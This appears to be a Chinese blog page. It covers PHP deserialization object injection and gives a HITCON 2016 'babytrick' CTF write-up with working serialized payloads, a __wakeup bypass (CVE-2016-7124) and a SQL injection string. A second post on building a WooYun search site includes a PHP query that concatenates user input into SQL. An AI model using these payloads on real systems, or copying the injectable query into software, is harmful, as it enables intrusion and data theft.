  • 2)php文件中存在可利用的类,类中有魔术方法

利用场景在ctf、代码审计中常见,黑盒测试要通过检查cookie等有没有序列化的值来查看。

反序列化漏洞比如去年12月的joomla反序列化漏洞、SugarCRM v6.5.23 PHP反序列化对象注入漏洞,ctf中比如三个白帽第三期、安恒杯web3。

防御方法主要有对参数进行处理、换用更安全的函数。

推荐阅读:SugarCRM v6.5.23 PHP反序列化对象注入漏洞分析

3.反序列化练习

如下为一个php文件源码,我们定义了一个对象之后又创建了对象并输出了序列化的字符串

如下为一个php文件源码,我们定义了一个对象之后又创建了对象并输出了序列化的字符串

<?php 

// 某类 

class User 

{ 

  // 类数据 

  public $age = 0; 

  public $name = ''; 

  // 输出数据 

  public function PrintData() 

  { 

    echo 'User ' . $this->name . ' is ' . $this->age 

      . ' years old. <br />'; 

  } 

} 

// 创建一个对象 

$usr = new User(); 

// 设置数据  

$usr->age = 20; 

$usr->name = 'John';  

// 输出数据  

$usr->PrintData();  

// 输出序列化之后的数据  

echo serialize($usr); 

?>

输出为:

User John is 20 years old.

O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John”;}

以下代码同上,不过并没有创建对象,而是使用unserialize函数调用了这个类。大家可以试一下。

<?php 

// 某类 

class User 

{ 

// Class data  

  public $age = 0; 

  public $name = '';  

  // Print data 
 public function PrintData() 

  { 

    echo 'User ' . $this->name . ' is ' . $this->age . ' years old. <br />'; 

  } 

} 

// 重建对象 

$usr = unserialize('O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John";}');  

// 调用PrintData 输出数据  

$usr->PrintData();  

?>

输出为:

User John is 20 years old

这个函数中的序列化字符串为’O:4:”User”:2:{s:3:”age”;i:20;s:4:”name”;s:4:”John”;}’,即一个user对象,属性值age为20,属性值name为john。调用user类并给属性赋了值,在有魔术方法时会自动调用。

4.writeup实战

以本次HITCON 2016的web题babytrick为例:

访问链接 http://52.198.42.246/ 可以看到源代码如下:

(目前已关闭,可访问https://github.com/orangetw/My-CTF-Web-Challenges/tree/master/hitcon-ctf-2016/babytrick查看源码

<?php

include "config.php";

class HITCON{

  private $method;

  private $args;

  private $conn;

  public function __construct($method, $args) {

    $this->method = $method;

    $this->args = $args;

    $this->__conn();

  }

  function show() {

    list($username) = func_get_args();

    $sql = sprintf("SELECT * FROM users WHERE username='%s'", $username);

    $obj = $this->__query($sql);

    if ( $obj != false ) {

      $this->__die( sprintf("%s is %s", $obj->username, $obj->role) );

    } else {

      $this->__die("Nobody Nobody But You!");

    }  

  }

  function login() {

    global $FLAG;

    list($username, $password) = func_get_args();

    $username = strtolower(trim(mysql_escape_string($username)));

    $password = strtolower(trim(mysql_escape_string($password)));

    $sql = sprintf("SELECT * FROM users WHERE username='%s' AND password='%s'", $username, $password);

    if ( $username == 'orange' || stripos($sql, 'orange') != false ) {

      $this->__die("Orange is so shy. He do not want to see you.");

    }

    $obj = $this->__query($sql);

    if ( $obj != false && $obj->role == 'admin' ) {

      $this->__die("Hi, Orange! Here is your flag: " . $FLAG);

    } else {

      $this->__die("Admin only!");

    }

  }

  function source() {

    highlight_file(__FILE__);

  }

  function __conn() {

    global $db_host, $db_name, $db_user, $db_pass, $DEBUG;

    if (!$this->conn)

      $this->conn = mysql_connect($db_host, $db_user, $db_pass);

    mysql_select_db($db_name, $this->conn);

    if ($DEBUG) {

      $sql = "CREATE TABLE IF NOT EXISTS users (

            username VARCHAR(64),

            password VARCHAR(64),

            role VARCHAR(64)

          ) CHARACTER SET utf8";

      $this->__query($sql, $back=false);

      $sql = "INSERT INTO users VALUES ('orange', '$db_pass', 'admin'), ('phddaa', 'ddaa', 'user')";

      $this->__query($sql, $back=false);

    }

    mysql_query("SET names utf8");

    mysql_query("SET sql_mode = 'strict_all_tables'");

  }

  function __query($sql, $back=true) {

    $result = @mysql_query($sql);

    if ($back) {

      return @mysql_fetch_object($result);

    }

  }

  function __die($msg) {

    $this->__close();

    header("Content-Type: application/json");

    die( json_encode( array("msg"=> $msg) ) );

  }

  function __close() {

    mysql_close($this->conn);

  }

  function __destruct() {

    $this->__conn();

    if (in_array($this->method, array("show", "login", "source"))) {

      @call_user_func_array(array($this, $this->method), $this->args);

    } else {

      $this->__die("What do you do?");

    }

    $this->__close();

  }

  function __wakeup() {

    foreach($this->args as $k => $v) {

      $this->args[$k] = strtolower(trim(mysql_escape_string($v)));

    }

  }

}

if(isset($_GET["data"])) {

  @unserialize($_GET["data"]);  

} else {

  new HITCON("source", array());

}

从源码中可以看到使用了unserialize函数并且没有过滤,且定义了类。所以想到php反序列化漏洞、对象注入。

要想得到flag,需要利用反序列化执行类中函数login。首先需要用户orange密码(如果存在orange的话),于是利用类中show函数得到密码。

show函数我们可以看出未对参数进行过滤,可以进行sql注入,构造语句为:

bla’ union select password,username,password from users where username=’orange’– –

那么如何使用反序列化执行函数呢?注意到类中有魔术方法__wakeup,其中函数会对我们的输入进行过滤、转义。

如何绕过__wakeup呢?谷歌发现了CVE-2016-7124,一个月前爆出的。简单来说就是当序列化字符串中,如果表示对象属性个数的值大于真实的属性个数时就会跳过__wakeup的执行。参考https://bugs.php.net/bug.php?id=72663,某一种情况下,出错的对象不会被毁掉,会绕过__wakeup函数、引用其他的魔术方法。

官方exp如下:

<?php

class obj implements Serializable {

  var $data;

  function serialize() {

    return serialize($this->data);

  }

  function unserialize($data) {

    $this->data = unserialize($data);

  }

}

$inner = 'a:1:{i:0;O:9:"Exception":2:{s:7:"'."".'*'."".'file";R:4;}';

$exploit = 'a:2:{i:0;C:3:"obj":'.strlen($inner).':{'.$inner.'}i:1;R:4;}';

$data = unserialize($exploit);

echo $data[1];

?>

根据poc进行改造如下,计入了

O:9:"Exception":2:{s:7:"*file";R:4;};}
O:6:"HITCON":3:{s:14:"%00HITCON%00method";s:5:"login";s:12:"%00HITCON%00args";a:2:{i:0;s:6:"orange";i:1;s:8:"password";}s:12:"%00HITCON%00conn";O:9:"Exception":2:{s:7:"*file";R:4;};}}

这种情况下就不会执行__wakeup方法。

(同时该cve介绍了另一种情况,即成员属性数目大于实际数目时可绕过wakeup方法,把 O:6:”HITCON”:3 中的3改为任意比3大数字即可,如5。另一种绕过方法为对wakeup过滤的绕过,利用了sql注入中的/**/

为什么构造的字符串为“%00HITCON%00…”呢?k14us大佬告诉我序列化时生成的序列化字符串中类名前后本来就会有0×00,url编码下为%00。可以echo(serialize($o))查看。前面举的例子之所以没用%00是因为成员属性为private。

如果在文件里直接调试就不用url编码,直接” HITCON …”即可(%00替换为空格

加入注入语句为:

O:6:"HITCON":3:{s:14:"%00HITCON%00method";s:4:"show";s:12:"%00HITCON%00args";a:2:{i:0;s:83:"bla’ union select password,username,password from users where username=’orange’– –";i:1;s:6:"phddaa";}s:12:"%00HITCON%00conn";O:9:"Exception":2:{s:7:"*file";R:4;};}}

得到结果:

{“msg”:”babytrick1234 is babytrick1234″}

构造好:

O:6:"HITCON":3:{s:14:"%00HITCON%00method";s:5:"login";s:12:"%00HITCON%00args";a:2:{i:0;s:6:"orange";i:1;s:13:"babytrick1234";}s:12:"%00HITCON%00conn";O:9:"Exception":2:{s:7:"*file";R:4;};}}

这时会返回

{“msg”:”Orange is so shy. He do not want to see you.”}

接下来考虑如何绕过,注意到__conn方法中有 mysql_query(“SET names utf8″); 观察到php的字符编码不是utf8,考虑利用字符差异绕过。目前看到的两个wp利用的字母有Ą、Ã,可实现绕过。

poc为:

O:6:"HITCON":3:{s:14:"%00HITCON%00method";s:5:"login";s:12:"%00HITCON%00args";a:2:{i:0;s:6:"orÃnge";i:1;s:13:"babytrick1234";}s:12:"%00HITCON%00conn";O:9:"Exception":2:{s:7:"*file";R:4;};}}

得到了空白页面,注意到 s:6:”orÃnge” ,改为s:6:”orÃnge” ,构造如下:

O:6:"HITCON":3:{s:14:"%00HITCON%00method";s:5:"login";s:12:"%00HITCON%00args";a:2:{i:0;s:7:"orÃnge";i:1;s:13:"babytrick1234";}s:12:"%00HITCON%00conn";O:9:"Exception":2:{s:7:"*file";R:4;};}}

得到了结果,很开心有木有?

{“msg”:”Hi, Orange! Here is your flag: hitcon{php 4nd mysq1 are s0 mag1c, isn’t it?}”}

参考资料:

灵活布置、可二次开发的乌云公开漏洞及知识库搜索

感谢hanc00l爬取了wooyun的网页,才使乌云关闭后,大家依旧可以访问以前的漏洞库、知识库。hanc00l发布了基于flask或者torndo的乌云公开漏洞、知识库搜索的github项目,同时发布了已经配置好的虚拟机,允许大家直接把乌云搭建在了本地。

为了方便的在本地进行乌云搜索,我准备把乌云搜索搭建在树莓派上。但是,hanc00l使用的数据库是mangodb,总数据在6GB左右。32位的mangodb支持的总共数据大小最大是2GB,而我的树莓派正是32位,所以我没办法在树莓派上布置。于是利用静态的乌云漏洞库、知识库,我自己建立了数据库、搜索页面,实现了可在apache、nginx等上布置,基于mysql数据库的乌云知识库、漏洞库搜索项目。

我的项目使用python依次处理静态页面,用正则抽取出信息再批量插入数据库;之后又写了个php,实现了对数据库的搜索。

二.python的经验分享

我在python中利用的扩展库是BeautifulSoup与MySQLdb。关于这两个库的介绍有很多,下面我主要介绍下我对这两个库的操作。

1)beautifulsoup的使用

from bs4 import BeautifulSoup     #引用库

soup=BeautifulSoup(html,"html.parser")       #创建BeautifulSoup对象,html为目标

corps=soup.find_all('p',class_='words')      #从对象中查找类名为words的p的标签

大家可以输出一下试试

2)MySQLdb的使用

import MySQLdb    #引用库

try:   #错误处理

        conn=MySQLdb.connect(host='localhost',port=3306,user='root',passwd='',db='wooyun',charset='utf8')     #建立连接,host主机、port端口(默认3306)、user用户、passwd密码、db操作的库、charset字符编码

        cur=conn.cursor()  #获取操作游标

        reload(sys)

        sys.setdefaultencoding('utf-8')   #设置编码

        tmp=(title1,date1,author1[0],type1[0],corp1[0],docs)  #要插入的数组

        cur.execute("INSERT INTO `bugs`(`title`,`dates`,`author`,`type`,`corp`,`doc`) VALUES(%s,%s,%s,%s,%s,%s)",tmp)    #插入数据库

        conn.commit()    #提交操作,插入时不可省

        cur.close()    

        conn.close()    #关闭连接,释放资源

except MySQLdb.Error,e:

         print "Mysql Error %d: %s" % (e.args[0], e.args[1])    #如果出错,输出错误

对于mysql不是很熟悉的同学如果有phpmyadmin的话可以在phpmyadmin中操作一下数据库,可以预览mysql语句。也可以在mysql命令行中执行语句尝试。

三.php的经验分享

虽然以前一直会php和css,但是这是第一次真正写一个动态页面。

首先对参数进行过滤。判断是否为整数数字:

if(is_numeric($_GET['page'])&&is_int($_GET['page']+0)){

        #code

    }

php中标签的输出是这样的!

echo "<p style=\"display:inline-block;\">haha</p>";

bootstrap很好用!

推荐链接:

bootstarap基本css样式;

bootstarp组件。

php对数据库的处理:

现在版本的php不再推荐MYSQL函数了,建议使用PDO或者mysqli

本来想使用pdo的,想感受一下预处理。但是pdo会对参数中的某些字符进行转义。无论我怎么处理都会报错,最终我决定使用mysqli了。

//mysql建立连接 

$db=new mysqli('localhost','root','','wooyun'); //localhost:3307

//sql对象错误检查 

if(mysqli_connect_errno()){ 

echo '<br>Error:Please try again later.'; 

exit(); 
}

参数如上,不解释了。host有两种方式,默认端口是localhost;指定端口是localhost:3307

$query0="SELECT count(*) FROM `".$kind."` WHERE `title` LIKE '%".$keywords."%'";  #mysql语句

$num=$db->query($query0);   #执行该语句

$row=$num->fetch_row();    #取得结果

四.后记

在课业之余用了10天时间搭建完成,见识了很多扩展,很有帮助。

我的新浪微博:http://weibo.com/grt1st

项目github地址:https://github.com/grt1st/wooyun_search